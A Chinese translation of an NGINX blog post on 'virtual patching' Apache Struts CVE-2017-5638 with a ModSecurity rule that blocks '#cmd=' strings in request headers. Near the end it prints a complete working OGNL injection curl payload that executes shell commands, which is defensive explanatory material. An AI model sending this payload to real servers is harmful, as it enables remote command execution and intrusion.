[编辑– NGINX Plus 的NGINX ModSecurity WAF模块于2022 年 4 月 1 日正式停止销售,并将于2024 年 3 月 31 日停止使用。 有关更多详细信息,请参阅我们博客上的“F5 NGINX ModSecurity WAF 正在过渡到终止使用<.htmla>”。]
应用代码使用的库中发现了许多安全漏洞。 当无法快速部署对库中代码的修复时,您可以使用 ModSecurity 来拦截漏洞,“虚拟修补”受影响的代码,直到您可以升级受影响的库。
Apache Struts应用库漏洞 ( CVE-2017-5638 ) 导致Equifax 的 1.43 亿个账户遭到泄露,这是一个可以通过虚拟方式修补的漏洞的例子。 该漏洞的特征是Content-Type
、 Content-Disposition
或Content-Length
HTTP 标头中存在#cmd=
或#cmds=
字符串。 (更多详情,请参阅下文。)
使用 ModSecurity,我们可以创建一个虚拟补丁,其中包含一条简单规则,该规则搜索受影响的 HTTP 标头中的恶意字符串:
SecRule REQUEST_HEADERS:内容类型|REQUEST_HEADERS:内容长度|REQUEST_HEADERS:内容处置“@rx #cmds?=”“id:5638,auditlog,log,deny,status:403”
我们使用SecRule
定义规则,并提供三个参数:
REQUEST_HEADERS
变量“或”的形式组合在一起@rx
指定的 PERL 兼容正则表达式 (PCRE),用于在指定的请求标头中搜索包含#cmd=
或#cmds= 的
字符串如果 ModSecurity 配置为主动阻止模式,它会丢弃任何与 PCRE 匹配的流量,从而触发规则。
通过我们的电子书了解如何开始使用 NGINX 和 ModSecurity: ModSecurity 3.0 和 NGINX: 快速入门指南
在很多情况下,在 ModSecurity 中部署规则比修补受影响的代码、重新测试,然后部署到生产中更快。
以 Apache Struts 漏洞为例:由于 Struts 是一个应用库而不是操作系统包,因此在企业生产环境中更新它可能需要一些时间。 作为升级到新版本 Struts 的一部分,每个依赖 Struts 的应用都需要使用最新的 Struts 库进行重建和测试。 一个大型组织可能有数百个应用,每个应用程序都有自己的 Struts应用库版本,这使得它在每个应用都更新之前都很容易受到攻击。
有了 ModSecurity 自定义规则,您就可以按照合理的时间表仔细地修补生产软件,而不会受到漏洞的压力。 一旦所有受影响的软件都更新完毕,自定义规则就可以退役。
Apache Struts CVE-2017-5638是一个远程命令执行 (RCE) 漏洞。 此类漏洞允许攻击者在目标系统上运行任意命令,例如/bin/bash
或cmd.exe
。 有了这种能力,攻击者就可以在文件系统和网络中搜索敏感数据,并且具有与 Java应用服务器相同的访问级别。 例如,如果 Java应用服务器以root
身份运行,则攻击者在目标系统上拥有root
权限。
据官方 CVE介绍,当攻击者发送格式错误的Content-Type
、 Content-Disposition
或Content-Length
HTTP 标头时,就会发生此漏洞。 当这些 HTTP 标头与任何预期值不匹配时,Apache Struts 会抛出异常。 发生该问题的原因是异常处理代码尝试打印未转义的无效标头。 (在这种情况下,“未转义”意味着可疑命令前面没有添加阻止其执行的字符 -转义字符- 就像在打印代码时通常做的那样。)
攻击者可以将对象图导航库(OGNL) 表达式放入Content-Type
标头中。 OGNL具有运行系统命令的能力。 当打印未转义的无效标题时,将评估 OGNL 表达式,并执行 OGNL 表达式内的任何系统命令。
漏洞通常是下面curl
命令的变体。
curl -H "Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))). ( #cmd= 'ls -ltr').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).( #cmds= (#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})) .(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" www.example.com
关键语法在命令的后半部分:字符串#cmd=
和#cmds=
各一个实例(上面突出显示)。 每个字符串后面都跟有要运行的系统命令。
首选的解决方案始终是立即修补易受攻击的软件。 但修补生产软件可能非常耗时,而且仓促更新可能会有风险。 使用 ModSecurity 为易受攻击的软件创建虚拟补丁可以争取时间。
通过虚拟修补,您可以创建自定义 ModSecurity 规则来阻止可能利用安全漏洞(例如CVE-2017-5638)的流量。 这样做,您就保护您的网站免受攻击。 然后,您可以按照合理的时间表仔细地修补生产服务器,而不必担心在此期间受到攻击。
如果您想了解有关 ModSecurity 和 NGINX ModSecurity WAF 的更多信息,请下载我们的电子书《ModSecurity 3.0 和 NGINX》: 快速入门指南。
[NGINX Plus 的 NGINX ModSecurity WAF 模块于2022 年 4 月 1 日正式停止销售,并将于2024 年 3 月 31 日停止使用。 有关更多详细信息,请参阅我们博客上的“F5 NGINX ModSecurity WAF 正在过渡到终止使用<.htmla>”。]
“这篇博文可能引用了不再可用和/或不再支持的产品。 有关 F5 NGINX 产品和解决方案的最新信息,请探索我们的NGINX 产品系列。 NGINX 现在是 F5 的一部分。 所有之前的 NGINX.com 链接都将重定向至 F5.com 上的类似 NGINX 内容。”